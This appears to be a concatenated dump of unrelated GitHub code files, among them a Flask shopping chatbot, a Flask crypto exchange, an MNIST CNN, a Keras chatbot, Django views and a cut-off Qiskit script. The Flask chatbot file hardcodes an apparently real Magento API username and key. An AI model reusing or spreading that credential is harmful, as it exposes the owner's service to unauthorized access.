Conditions\r\n\r\nCONDITION_COLUMN = 0\r\nSUBTYPE_COLUMN = 1\r\nPROGRESS_COLUMN = 2\r\nLINE_NUMBER_COLUMN = 3\r\nFIELD_COLUMN = 4\r\n\r\n# Read through the CSV file containing the physical exams and create the list of exams\r\n\r\ndef populateListOfPhysicalExams(theFileName):\r\n\twith open(theFileName, 'r') as csvfile:\r\n\t\tfileReader = csv.reader(csvfile)\r\n\t\tnext(fileReader)\r\n\t\tfor row in fileReader:\r\n\t\t\tmakePhysicalExam(row[PHYSICAL_COLUMN], row[PHYSICAL_LINE_COLUMN], row[TEXT_COLUMN])\r\n\r\n# Read through the CSV file containing the checklist items and create the list of checklist items\r\n# Checklist items are simplified versions of the fields that can be quickly checked off\r\n\r\ndef populateListOfChecklistItems(theFileName):\r\n\tprint(\"Test\")\r\n\t\t\t\r\n# Read through the CSV file containing the conditions and make the list of conditions\r\n# Only call this after physical exams are generated!\r\n\r\n#Create a dictionary with key condition and value list of subtypes\r\n#For each condition, create a new subtype as an object when that is encountered\r\n#While the subtype has not changed, add the field to that subtype\r\n\r\n# The first item in the csv is a condition identifier, and the second column contains the condition itself\r\n\r\ndef populateListOfConditions(theFileName):\r\n\twith open(theFileName, 'r', encoding='mac_roman') as csvfile:\r\n\t\tfileReader = csv.reader(csvfile)\t\t\r\n\t\tnext(fileReader)\r\n\t\tpreviousRowID = \"\"\r\n\t\tpreviousRowCondition = \"\"\r\n\t\tfor row in fileReader:\r\n\t\t\tif row[CONDITION_COLUMN] == \"\" or row[CONDITION_COLUMN] != previousRowID:\r\n\t\t\t\tlistOfConditions[row[CONDITION_COLUMN]] = []\r\n\t\t\t\tnewCondition = Condition(row[CONDITION_COLUMN], row[SUBTYPE_COLUMN])\r\n\t\t\t\tnewField = Field(row[SUBTYPE_COLUMN], row[LINE_NUMBER_COLUMN], row[FIELD_COLUMN], row[PROGRESS_COLUMN])\r\n\t\t\t\tnewCondition.addFieldToCondition(newField)\r\n\t\t\t\tlistOfConditions[row[CONDITION_COLUMN]].append(newCondition)\r\n\t\t\telif row[CONDITION_COLUMN] == previousRowID:\r\n\t\t\t\tif row[SUBTYPE_COLUMN] == previousRowCondition:\r\n\t\t\t\t\tnewField = Field(row[SUBTYPE_COLUMN], row[LINE_NUMBER_COLUMN], row[FIELD_COLUMN], row[PROGRESS_COLUMN])\r\n\t\t\t\t\tconditionReference = listOfConditions[row[CONDITION_COLUMN]]\r\n\t\t\t\t\tconditionReference[-1].addFieldToCondition(newField)\r\n\t\t\t\telif row[SUBTYPE_COLUMN] != previousRowCondition:\r\n\t\t\t\t\tnewCondition = Condition(row[CONDITION_COLUMN], row[SUBTYPE_COLUMN])\r\n\t\t\t\t\tnewField = Field(row[SUBTYPE_COLUMN], row[LINE_NUMBER_COLUMN], row[FIELD_COLUMN], row[PROGRESS_COLUMN])\r\n\t\t\t\t\tnewCondition.addFieldToCondition(newField)\r\n\t\t\t\t\tlistOfConditions[row[CONDITION_COLUMN]].append(newCondition)\r\n\t\t\tpreviousRowID = row[CONDITION_COLUMN]\r\n\t\t\tpreviousRowCondition = row[SUBTYPE_COLUMN]\r\n#\t\t\tlastConditionID = row[0]\r\n\r\n# Creates a new field for that condition and returns the field\r\n\r\ndef makeFieldForCondition(fieldID, fieldOrder):\r\n\ttheField = Field(fieldID, fieldOrder)\r\n\treturn theField\r\n\r\n# From the data read in, makes an object containing the condition and returns the condition\r\n\r\ndef makeCondition(theID, theSubtype, theProgressType):\r\n\ttheCondition = Condition(theID, theSubtype, theProgressType)\r\n\treturn theCondition\r\n\r\n# Need a method to add fields to the appropriate condition!\r\n# From the data read in, makes an object containing the physical exam and adds it to the list of all exams\r\n\t\r\ndef makePhysicalExam(theID, row, value):\r\n\texamID = theID + row\r\n\t#examInstance = PhysicalExam(examID, value)\r\n\tlistOfPhysicalExams[examID] = value\r\n\r\n# Makes the simple checklist for a given condition\r\n#\r\n\t\r\n# Formats the physical exams so that the parsing notation is removed.\r\n# The method does an in-place clean-up, acting on the instance variable.\r\n\t\r\ndef cleanPhysicalExams():\r\n\tlistOfPhysicalExamKeys = list(listOfPhysicalExams.keys())\r\n\tlistOfPhysicalExamKeys.sort()\r\n\r\n\tfor i in range(0, len(listOfPhysicalExamKeys)):\r\n\t\t\r\n\t\tif (i < len(listOfPhysicalExamKeys) - 1):\r\n\t\t\tcurrentKey = listOfPhysicalExamKeys[i]\r\n\t\t\tnextKey = listOfPhysicalExamKeys[i+1]\r\n\t\t\t\r\n\t\t\tformattedCurrentKey = currentKey[:-1]\r\n\t\t\tformattedNextKey = nextKey[:-1]\r\n\r\n\t\t\tif((formattedCurrentKey != formattedNextKey) and (currentKey.endswith(\"1\"))):\r\n\t\t\t\tlistOfPhysicalExams[formattedCurrentKey] = listOfPhysicalExams.pop(currentKey)\r\n\t\t\t\r\n\t\telif (i == len(listOfPhysicalExamKeys) - 1):\r\n\t\t\tcurrentKey = listOfPhysicalExamKeys[i]\r\n\t\t\tformattedCurrentKey = currentKey[:-1]\r\n\t\t\t\r\n\t\t\tif(currentKey.endswith(\"1\")):\r\n\t\t\t\tlistOfPhysicalExams[formattedCurrentKey] = listOfPhysicalExams.pop(currentKey)\r\n\r\n# Method for checking the first character of the parameter, theField, passed in, compared to a character of choice\r\n# Returns true if the characters match, returns false otherwise\r\n\r\ndef checkFirstCharacter(theField, character):\r\n\tif (theField[:1] == character):\r\n\t\treturn True\r\n\telse:\r\n\t\treturn False\r\n\r\n# Function for setting things up. Only this should be called from external classes\r\n\r\ndef setupDataStructures():\r\n\tpopulateListOfPhysicalExams('PhysicalExam.csv')\r\n\tpopulateListOfConditions('Conditions.csv')\r\n\tcleanPhysicalExams()\r\n\t\r\n\t# Add the checklist contents here\r\n\t\r\n\t#print(listOfConditions)\r\n\treturn listOfPhysicalExams, listOfConditions\r\n\r\n","repo_name":"DouglasYuen/ProjectBobo","sub_path":"Source/FileParser.py","file_name":"FileParser.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23206096149","text":"import time\nimport webbrowser\nimport csv\nfrom autocorrect import spell\nimport spell_func\nimport fuzzy_example\nimport fuzzy_cat\n#import app_tfidf\n# import pyaudio\nimport speech_recognition as sr\nfrom chatterbot import ChatBot\nfrom flask import Flask, render_template, request\nfrom chatterbot import ChatBot\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\nimport yaml\nimport urllib3\nimport json\nimport sys\nimport pandas as pd\nimport ast\nimport requests\nfrom autocorrect import spell\nfrom metaphone import doublemetaphone\napp = Flask(__name__)\n\nenglish_bot = ChatBot(\"Chatterbot\", storage_adapter=\"chatterbot.storage.SQLStorageAdapter\")\n\nenglish_bot.set_trainer(ChatterBotCorpusTrainer)\n# english_bot.train(\"./data\")\n\ndf_cat = pd.read_csv('parent.csv')\ndocuments = df_cat['category_name']\ncategories = df_cat['category_name'].tolist()\nsub_cat = df_cat['subcat_name'].tolist()\nmain_url = 'https://www.arogyarahasya.com/catalogsearch/result/?q={}'\nproduct_csv = pd.read_csv('AR_Data_Product.csv')\npro = product_csv['pro_name'].tolist()\nproduct_id = product_csv['product_id'].tolist()\n#english_bot.set_trainer(ChatterBotCorpusTrainer)\n#english_bot.train(\"chatterbot.corpus.english\")\ns = requests.session() \nSession_API = \"http://magento.arogyarahasya.com/restapi/rest_mage/getSession\"\npayload = {\n 'api_user' : 'launchship',\n 'api_key' :'JVYR5UJASE0SHOGW'\n }\nr = s.post(Session_API, params=payload)\n#print(r.url)\nr = r.json()\n\nbot_dict = {}\n@app.route(\"/\")\ndef home():\n return render_template(\"index1.html\")\n@app.route(\"/get\")\n#def get_bot_response():\n #userText = request.args.get('msg')\n #return str(english_bot.get_response(userText))\ndef get_bot_response():\n\n \n main_url = 'https://www.arogyarahasya.com/catalogsearch/result/?q={}'\n while True:\n a = request.args.get('msg')\n print(\"AAA\",a)\n spell_correct = a.split()\n spell_correct = [spell(i) for i in spell_correct]\n a = ' '.join(spell_correct)\n print('aa',a)\n if a in categories:\n bot = spell_func.spell_correct(a)\n elif a not in categories:\n bot_dict['categories'] = fuzzy_cat.home(a)\n bot_dict['products'] = fuzzy_example.home(a)\n print(\"bot\",bot_dict)\n product_list = bot_dict['products'].split('&&')\n product_list = filter(None, product_list)\n #print(\"product_list\", product_list)\n if product_list:\n product = [ product.replace(\" \", '+') for product in product_list]\n product = [i.strip('\"') for i in product]\n product_url = [ main_url.format(i) for i in product]\n str2 = '&&'.join(product_url)\n bot_dict['products'] = str2\n print(\"bot_values\", bot_dict.values())\n cat = '&&'.join(str(values) for values in bot_dict.values() if values)\n bot = '&&'+cat\n print(\"catt\",cat)\n if bot == '&&':\n responses = str(english_bot.get_response(a))\n bot = responses\n b = {\"converstaions\":[[a,bot]]}\n with open(\"chat.yml\",\"a\") as outfile:\n yaml.dump(b[\"converstaions\"],outfile,default_flow_style=False)\n else:\n text = str(english_bot.get_response(a))\n bot = text\n b = {\"converstaions\":[[a,bot]]}\n with open(\"chat.yml\",\"a\") as outfile:\n yaml.dump(b[\"converstaions\"],outfile,default_flow_style=False)\n return bot\n@app.route(\"/get_cart\")\ndef add_to_cart():\n a = request.args.get('msg')\n print(\"cart_input\",a)\n\n qty = request.args.get('quantity')\n print(\"qty\", qty)\n \n i = [j for i, j in zip(pro, product_id) if a in i]\n print('p_id', i)\n p_id = i[0]\n SID = r['session_id']\n print('SID', SID)\n payload = {\n 'product_id': p_id,\n 'qty': qty,\n 'SID': SID\n }\n updatecart_api = \"http://magento.arogyarahasya.com/restapi/rest_cart/updateCart/\"\n cart = requests.post(updatecart_api, params = payload)\n cart_info = cart\n\n #get_cart = \"http://magento.arogyarahasya.com/restapi/rest_cart/getCart\"\n #get_cart = s.get(get_cart, params=SID)\n #print(\"get_cart\",get_cart.url)\n #print(\"cart_response\",cart.status_code)\n SID = {'SID': r['session_id']}\n checkout_api = \"https://magento.arogyarahasya.com/checkout/cart/\"\n check = requests.post(checkout_api, params = SID)\n \n #print(check.json())\n #https://magento.arogyarahasya.com/checkout/?SID=38bogjm191utc0vngggeon44to\n cart_response = check.url\n return cart_response\n\n@app.route(\"/get_speech\")\ndef return_audio():\n while True:\n r = sr.Recognizer()\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source, duration =1)\n print(\"say something:\")\n audio = r.listen(source) \n message = r.recognize_google(audio)\n print(\"You Said:\",message)\n return message\n # text = str(english_bot.get_response(message))\n # bot = text\n # webbrowser.open(bot)\n # return bot\n\nif __name__ == \"__main__\":\n app.run()\n\n\n# support@doselect.com\n","repo_name":"mady143/mani","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"3440554431","text":"from flask import Flask, request, abort, render_template, redirect\nfrom exchange import Exchange\nfrom decimal import Decimal\nfrom db import OrderType, Referrer\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\nfrom env import DB\nfrom assets import assets\nfrom math import floor\nfrom dashboard import dashboard\nfrom csrf import csrf\nfrom rate_limit import rate_limit\nfrom datetime import datetime\nimport re\n\napp = Flask(__name__)\nexchange = Exchange(DB)\nengine = create_engine(DB)\nget, post = csrf(app, exchange)\n\n@app.template_filter()\ndef format_decimal(d, decimal_places):\n if d == None:\n return ''\n if d < 0:\n negative = True\n d = -d\n else:\n negative = False\n digit = Decimal('10')\n while digit <= d:\n digit *= 10\n result = ''\n while decimal_places:\n result += str(floor(d % digit * 10 / digit))\n digit /= 10\n if digit == 1:\n result += '.'\n if digit < 1:\n decimal_places -= 1\n return result if not negative else '-' + str(result)\n\n@app.template_filter()\ndef timestamp(t):\n return datetime.fromtimestamp(t).strftime('%Y-%m-%d %H:%M:%S UTC')\n\ndashboard(app, exchange, engine)\n\n@get('/api')\ndef api(render_template, user):\n rate_limit(engine, ip=True)\n log_referrer()\n return render_template('api.html')\n\n@get('/fees')\ndef api(render_template, user):\n rate_limit(engine, ip=True)\n log_referrer()\n return render_template('fees.html')\n\n@get('/')\ndef xmr_buy(render_template, user):\n rate_limit(engine, ip=True)\n log_referrer()\n return render_template('buy.html')\n\n@post('/')\ndef xmr_buy_action(redirect, user):\n rate_limit(engine, ip=True)\n auto = exchange.auto_buy(request.form['market'], request.form['withdrawal_address'], request.form['refund_address'])\n if 'error' in auto:\n return redirect('/', auto['error'])\n return redirect('/auto/buy/%s' % auto['id'])\n\n@get('/xmr/sell')\ndef xmr_sell(render_template, user):\n rate_limit(engine, ip=True)\n log_referrer()\n return render_template('sell.html')\n\n@post('/xmr/sell')\ndef xmr_sell_action(redirect, user):\n rate_limit(engine, ip=True)\n auto = exchange.auto_sell(request.form['market'], request.form['withdrawal_address'], request.form['refund_address'])\n if 'error' in auto:\n return redirect('/xmr/sell', auto['error'])\n return redirect('/auto/sell/%s' % auto['id'])\n\n@get('/auto/buy/')\ndef auto_buy_id(render_template, user, id):\n rate_limit(engine, ip=True)\n try:\n address, unconfirmed_transactions, confirmed_deposits, approximate_cost = exchange.get_auto(id, request.args.get('amount'))\n except:\n abort(404)\n return render_template('auto_buy.html', address=address, unconfirmed_transactions=unconfirmed_transactions, confirmed_deposits=confirmed_deposits, message=approximate_cost.get('error'), amount=approximate_cost.get('amount'), approximate_cost=approximate_cost.get('cost'), hit_maximum=approximate_cost.get('hit_maximum'))\n\n@get('/auto/sell/')\ndef auto_sell_id(render_template, user, id):\n rate_limit(engine, ip=True)\n try:\n address, unconfirmed_transactions, confirmed_deposits, approximate_value = exchange.get_auto(id, request.args.get('amount'))\n except:\n abort(404)\n return render_template('auto_sell.html', address=address, unconfirmed_transactions=unconfirmed_transactions, confirmed_deposits=confirmed_deposits, message=approximate_value.get('error'), amount=approximate_value.get('amount'), approximate_value=approximate_value.get('value'), hit_maximum=approximate_value.get('hit_maximum'))\n\n@app.route('/order_book')\ndef order_book():\n rate_limit(engine, ip=True)\n return exchange.order_book(request.args['market'])\n\n@app.route('/new_user')\ndef new_user():\n rate_limit(engine, ip=True)\n return exchange.new_user()\n\n@app.route('/balances')\ndef balances():\n rate_limit(engine)\n return exchange.balances(request.args['api_key'])\n\n@app.route('/orders')\ndef orders():\n rate_limit(engine)\n return exchange.orders(request.args['api_key'], request.args['market'])\n\n@app.route('/trades')\ndef trades():\n rate_limit(engine)\n return exchange.trades(request.args['api_key'], request.args['market'])\n\n@app.route('/deposit')\ndef deposit():\n rate_limit(engine)\n return exchange.deposit(request.args['api_key'], request.args['asset'])\n\n@app.route('/withdraw')\ndef withdraw():\n rate_limit(engine)\n try:\n amount = Decimal(request.args['amount'])\n except:\n return {'error': 'Invalid amount'}\n return exchange.withdraw(request.args['api_key'], request.args['asset'], request.args['address'], amount)\n\n@app.route('/buy')\ndef buy():\n rate_limit(engine)\n try:\n volume = Decimal(request.args['volume'])\n except:\n return {'error': 'Invalid volume'}\n try:\n price = Decimal(request.args['price'])\n except:\n return {'error': 'Invalid price'}\n return exchange.buy(request.args['api_key'], request.args['market'], volume, price)\n\n@app.route('/sell')\ndef sell():\n rate_limit(engine)\n try:\n volume = Decimal(request.args['volume'])\n except:\n return {'error': 'Invalid volume'}\n try:\n price = Decimal(request.args['price'])\n except:\n return {'error': 'Invalid price'}\n return exchange.sell(request.args['api_key'], request.args['market'], volume, price)\n\n@app.route('/cancel')\ndef cancel():\n rate_limit(engine)\n return exchange.cancel(request.args['api_key'], request.args['order_id'])\n\ndef log_referrer():\n try:\n referrer_hostname = re.match('https?://([^/]*)', request.referrer).group(1)\n except:\n referrer_hostname = 'unknown'\n with Session(engine) as session:\n try:\n [ref] = session.query(Referrer).where(Referrer.hostname == referrer_hostname)\n ref.count += 1\n session.commit()\n except:\n session.add(Referrer(hostname=referrer_hostname, count=1))\n session.commit()\n","repo_name":"jackmurray90/fryx","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5728,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"6143073632","text":"import numpy as np\nfrom copy import deepcopy\n\ndef test_algorithm(agent0, env, K=30):\n '''\n Test a given policy on an environment and returns the regret estimated over some different random seeds\n\n Parameters:\n agent (specific class): policy to be tested\n env (class environment): environment over which to test the policy\n T (int): time horizon\n seeds (int): how many random seeds to use\n first seed (int): first seed to use\n\n Returns:\n regret_matrix (array): matrix having as rows the value of the cumulative regret for one random seed\n '''\n H = env.time_horizon\n T = H*K\n\n agent = deepcopy(agent0)\n\n returns = np.zeros(K)\n for k in range(K):\n\n state = env.reset()[0]\n done = False\n h = 0\n episodic_return = 0\n\n while not done:\n # action = env.action_space.sample()\n action = agent.choose_action(state, h)\n\n next_state, reward, terminated, truncated, _ = env.step(action)\n\n episodic_return += reward\n\n done = terminated or truncated\n state = next_state\n h += 1\n \n returns[k] = episodic_return\n print('episodic return {}'.format(episodic_return))\n \n return returns\n\n","repo_name":"DavideZFC/SmoothMDP","sub_path":"functions/misc/test_algorithm_after_learning.py","file_name":"test_algorithm_after_learning.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13758423277","text":"import sys\nfrom simpleOSC import initOSCClient, sendOSCMsg\n\nip = \"127.0.0.1\"\nport = 9123\n\nNUMBER_OF_LIGHTS = 24 # currently 24, EOH 48\nDEFAULT_COLOR = [(25.0, 25.0, 25.0)] # dim white light\ncanvas = DEFAULT_COLOR * NUMBER_OF_LIGHTS\n\ndef rainbow():\n\tWAIT = 0.05\n\timport time\n\tinitOSCClient(ip, port)\n\ti = 0\n\twhile (1):\n\t\tfor j in range(0,360):\n\t\t\tfor i in range(0,48):\n\t\t\t\tsendOSCMsg(\"/asteroid\", [i,0,0,0,0,j,1,0])\n\t\ttime.sleep(WAIT)\n\t\ndef dim():\n\tWAIT = 0.05\n\tinitOSCClient(ip, port)\n\t\n\tfor i in range(0,48):\n\t\tsendOSCMsg(\"/asteroid\", [i,0,0,0,0,240,1,0])\n\tsendOSCMsg(\"/asteroid\", [56,0,0,0,0,219,1,0])\n\tsendOSCMsg(\"/asteroid\", [49,0,0,0,0,261,1,0])\n\tsendOSCMsg(\"/asteroid\", [102,0,0,0,0,219,1,0])\n\tsendOSCMsg(\"/asteroid\", [507,0,0,0,0,261,1,0])\n\tsendOSCMsg(\"/asteroid\", [800,0,0,0,0,219,1,0])\n\tsendOSCMsg(\"/asteroid\", [900,0,0,0,0,261,1,0])\n\t\ndef max_color():\n\tinitOSCClient(ip, port)\n\timport time\n\tfor i in range(0,48):\n\t\tsendOSCMsg(\"/asteroid\", [i,0,0,0,0,240,1,0])\n\t\n\ttime.sleep(5)\n\t\n\tsendOSCMsg(\"/set_max_brightness\", [256.0])\n\t\n# max_color()\n# dim()\nrainbow()\n","repo_name":"acm-uiuc/chroma-scripts","sub_path":"animations/fallingblocks-chroma-layer/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"54"} +{"seq_id":"33248264204","text":"import numpy as np\nimport tensorflow as tf\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('mnist_data',one_hot = True)\n\n\n# one_hot 独热码的编码(encoding)形式\n# 0,1,2,3,4,5,6,7,8,9 十个数字\n# 0 : 1000000000\n# 1 : 0100000000\n# 2 : 0010000000\n# ....\n\n# None 表示张量(Tensor)的第一个维度可以是任何长度\n# 除以 255 是为了归一化(Normalization), 把灰度值从 [0, 255] 变成 【0, 1】\n# 归一化目的 : 可以让之后的优化器(optimizer) 更快更好的找到误差最小值\ninput_x = tf.placeholder(tf.float32, [None, 28 * 28]) / 255. # 输入\n\n\n# 输出: 10个数字的标签\noutput_y = tf.placeholder(tf.int32, [None, 10])\n\n# 改变形状之后的输入\n# -1 表示自动推到维度的大小\n# 让计算机根据其他维度的值和总的元素大小来推导出 -1 的地方的维度应该是多少\ninput_x_image = tf.reshape(input_x, [-1, 28, 28, 1])\n\n# 从Test (测试) 数据集中选取 3000 个手写数字的图片和对应标签\ntest_x = mnist.test.images[:3000] # 图片\ntest_y = mnist.test.labels[:3000] # 标签\n\n# 构建卷积神经网络\n# 第一层 卷积层\nconv1 = tf.layers.conv2d(\n inputs=input_x_image, # 形状 [28 , 28 , 1]\n filters=32, # 32 个过滤器, 输出深度(depth)是 32\n kernel_size=[5, 5], # 过滤器在二维的大小(5 * 5)\n strides=1, # 步长 1\n padding='same', # same 表示输出大小不变,因此需要在外围补零\n activation=tf.nn.relu # 激活函数是 relu\n) # 形状 [28 * 28, 32]\n\n# 第一层 池化(亚采样)\npool1 = tf.layers.max_pooling2d(\n inputs = conv1, # 形状 [28, 28, 32]\n pool_size =[2, 2], # 过滤器在二维的大小是(2 * 2)\n strides = 2 # 步长是2\n) # 形状是 [14, 14, 32]\n\n# 第二层卷积\nconv2 = tf.layers.conv2d(\n inputs = pool1, # 形状 【14,14, 32】\n filters = 64, # 64 个过滤器, 输出的深度(depth)是64\n kernel_size=[5, 5], # 过滤器的二维大小(5 * 5)\n strides=1,\n padding='same',\n activation=tf.nn.relu\n) # 形状 [14, 14, 64]\n\n# 第二层池化\npool2 = tf.layers.max_pooling2d(\n inputs= conv2, # 形状 [14, 14, 64]\n pool_size=[2, 2], # 过滤器二维大小[2, 2]\n strides=2\n) #形状 [7, 7, 64]\n\n# 平坦化(flat) 降维\nflat = tf.reshape(pool2,[-1, 7 * 7 * 64]) # 形状[7*7*64]\n\n# 全连接层\ndense = tf.layers.dense(\n inputs=flat,\n units=1024,\n activation=tf.nn.relu\n)\n\n# Dropout : 丢弃 50% (rate = 0.5 )\ndropout = tf.layers.dropout(inputs=dense, rate=0.5)\n\n# 10个神经元的全连接层\nlogits = tf.layers.dense(inputs=dropout, units=10) # 形状[1, 1, 10]\n\n# 计算误差\n# 先用 softmax 计算百分比概率,再用Cross entropy(交叉熵)来计算百分比概率和独热码之间的误差\nloss = tf.losses.softmax_cross_entropy(onehot_labels=output_y, logits=logits)\n\n# Adam 优化器来最小化误差\ntrain_op = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n\n\n# 计算预测值 和 实际标签的匹配程度\n# 返回值(accuracy,update_op),会创建两个 局部变量\naccuracy = tf.metrics.accuracy(\n labels=tf.argmax(output_y, axis=1),\n predictions=tf.argmax(logits, axis=1)\n)[1]\n\n# 创建会话\nsess = tf.Session()\n# 初始化变量\ninit = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\nsess.run(init)\n\n\n# 训练 5000步\nfor i in range(5000):\n batch = mnist.train.next_batch(50) # 从Train 数据集里取下一个50 个样本\n # 训练损失 测试精度\n train_loss,train_op_ = sess.run([loss,train_op],{input_x: batch[0],output_y: batch[1]})\n if i % 100 == 0:\n test_accuracy = sess.run(accuracy, {input_x:test_x, output_y: test_y})\n print(\"第{}步的训练损失 = {:.4f},测试精度={:.2f}\".format(i,train_loss,test_accuracy))\n\n# 测试:打印20个预测值 和真实值\ntest_output = sess.run(logits, {input_x:test_x[:20]})\ninferred_y = np.argmax(test_output, 1)\nprint(inferred_y,'推测的数字') # 推测的数字\nprint(np.argmax(test_y[:20],1),'真实的数字') # 真实的数字\n\nsess.close()","repo_name":"nochans/day03","sub_path":"cnn_mnist.py","file_name":"cnn_mnist.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14339433816","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 29 21:32:39 2022\n\n@author: neveen\nProgram that is the main file in which the Chatbot model will work from\nand respond to inputs given.\n\"\"\"\n\n# required modules\nimport json\nimport pickle\nimport random\nimport nltk\nimport numpy as np\nfrom keras.models import load_model\nfrom nltk.stem import WordNetLemmatizer\n\n\nlemmatizer = WordNetLemmatizer()\n\n# loading the files we made previously\nintents = json.loads(open(\"intents.json\", encoding=\"utf8\").read())\nwords = pickle.load(open('words.pkl', 'rb'))\nclasses = pickle.load(open('classes.pkl', 'rb'))\nmodel = load_model('chatbotmodel.h5')\n\n# This function will separate words from the sentences we’ll give as input.\n\n\ndef clean_up_sentence(sentence):\n sentence_words = nltk.word_tokenize(sentence)\n sentence_words = [lemmatizer.lemmatize(word) for word in sentence_words]\n return sentence_words\n\n# This function will append 1 to a list variable ‘bag’ if the word is\n# contained inside our input and is also present in the list of words\n# created earlier.\n\n\ndef bag_of_words(sentence):\n\n # separate out ‘root’ words from the input sentence\n sentence_words = clean_up_sentence(sentence)\n bag = [0] * len(words)\n\n # check whether the word in the input is also in the words list.\n # If it is, we’ll append 1 to the bag, otherwise it’ll remain 0\n for w in sentence_words:\n for i, word in enumerate(words):\n if word == w:\n bag[i] = 1\n\n # Return a numpy array of the list variable bag that now contains 1’s and 0’s.\n return np.array(bag)\n\n# This function will predict the class of the sentence input by the user.\n# Initialize a variable bow that will contain a NumPy array of 0’s and 1’s,\n# using the function defined above. Using the predict() function,\n# we’ll predict the result based on the user’s input.\n# Initialize a variable ERROR_THRESHOLD and append from ‘res’ if the value\n# is greater than the ERROR_THRESHOLD, then sort it using the sort function.\n\n\ndef predict_class(sentence):\n bow = bag_of_words(sentence)\n res = model.predict(np.array([bow]))[0]\n ERROR_THRESHOLD = 0.25\n results = [[i, r] for i, r in enumerate(res) if r > ERROR_THRESHOLD]\n\n results.sort(key=lambda x: x[1], reverse=True)\n # store the tag or classes that was in the intents.json file.\n return_list = []\n for r in results:\n return_list.append({'intent': classes[r[0]], 'probability': str(r[1])})\n return return_list\n\n# This function will print a random response from whichever class\n# the sentence/words input by the user belongs to.\n# If the tag matches the tags in the list_of_intents, store a\n# random response in a variable called result,\n# using the choice() method of the random module.\n\n\nbot_name = \"Codee\"\n\n\ndef get_response(intents_list, intents_json):\n tag = intents_list[0]['intent']\n list_of_intents = intents_json['intents']\n\n for i in list_of_intents:\n if i['tag'] == tag:\n return random.choice(i['responses']) # prints a random response\n\n\nprint(\"I am Codee the chatbot and I can assist with your computer science FAQS! Ask away😀.Type quit to leave this session at anytime\")\n\n\ndef chatbot_response(msg):\n ints = predict_class(msg)\n res = get_response(ints, intents)\n return res\n\n\n# prompt the user for an input and print the Chatbot’s response.\n#print(\"I am Codee the chatbot and I can assist with your computer science FAQS! Ask away😀.Type quit to leave this session at anytime\")\n'''while True:\n message = input(\"\")\n if message == \"quit\":\n break'''\n","repo_name":"neveen123/Codee-the-Chatbot","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5858810701","text":"from django.shortcuts import render\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.http import HttpResponseRedirect, Http404\n\n\nfrom .models import Question, Answer\nfrom .forms import AnswerForm\n\n# Create your views here.\n@login_required\ndef index(request):\n all_questions = Question.objects.all().prefetch_related('question_author').order_by('-id')\n #all_answers = Answer.objects.all().prefetch_related('question_id').order_by('-id') \n paginator = Paginator(all_questions, 2) \n\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n \n context = {'all_questions_page_obj': page_obj}\n return render(request,'techqa/index.html', context)\ndef sign_up(request):\n context = {}\n form = UserCreationForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n user = form.save()\n login(request,user)\n return render(request,'techqa/index.html')\n context['form']=form\n return render(request,'registration/sign_up.html',context)\ndef show_question(request, question_id):\n try:\n question = Question.objects.get(pk=question_id)\n answers = Answer.objects.filter(question_id=question_id)\n \n except Question.DoesNotExist:\n raise Http404(\"Question does not exist\")\n except Answer.DoesNotExist:\n answers = None\n return render(request,'question/show.html', {'question': question, 'answers': answers})\ndef add_answer(request, question_id):\n user = request.user\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n request.POST._mutable = True\n \n form = AnswerForm(request.POST)\n form.data['answer_author'] = request.user \n form.data['question_id'] = question_id \n \n \n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n answer = form.save(commit=False)\n # commit=False tells Django that \"Don't send this to database yet.\n # I have more things I want to do with it.\"\n\n \n answer.save() # Now you can send it to DB\n\n # redirect to a new URL:\n return HttpResponseRedirect('/')\n else:\n return Http404()\n\n # if a GET (or any other method) we'll create a blank form\n else:\n return HttpResponseRedirect('/')","repo_name":"pcktuts/techqa","sub_path":"techqa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"6705133056","text":"from qiskit_finance.data_providers import YahooDataProvider\nfrom qiskit_finance.applications.optimization import PortfolioOptimization\nfrom qiskit.algorithms import QAOA\nfrom qiskit_optimization.algorithms import MinimumEigenOptimizer\nfrom qiskit.utils import QuantumInstance\nfrom qiskit.providers.aer import AerSimulator\nfrom qiskit.providers.aer.noise import NoiseModel\nfrom qiskit import IBMQ\n\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport tqdm\nimport itertools\nimport os\nimport qiskit.algorithms.optimizers as opts\n\nAPI_KEY = \"\"\ntry:\n IBMQ.load_account()\nexcept Exception as e:\n api_key = API_KEY\n IBMQ.save_account(api_key, overwrite=True)\n IBMQ.load_account()\nprovider = IBMQ.get_provider(hub='ibm-q', group='open')\n\nYEAR = 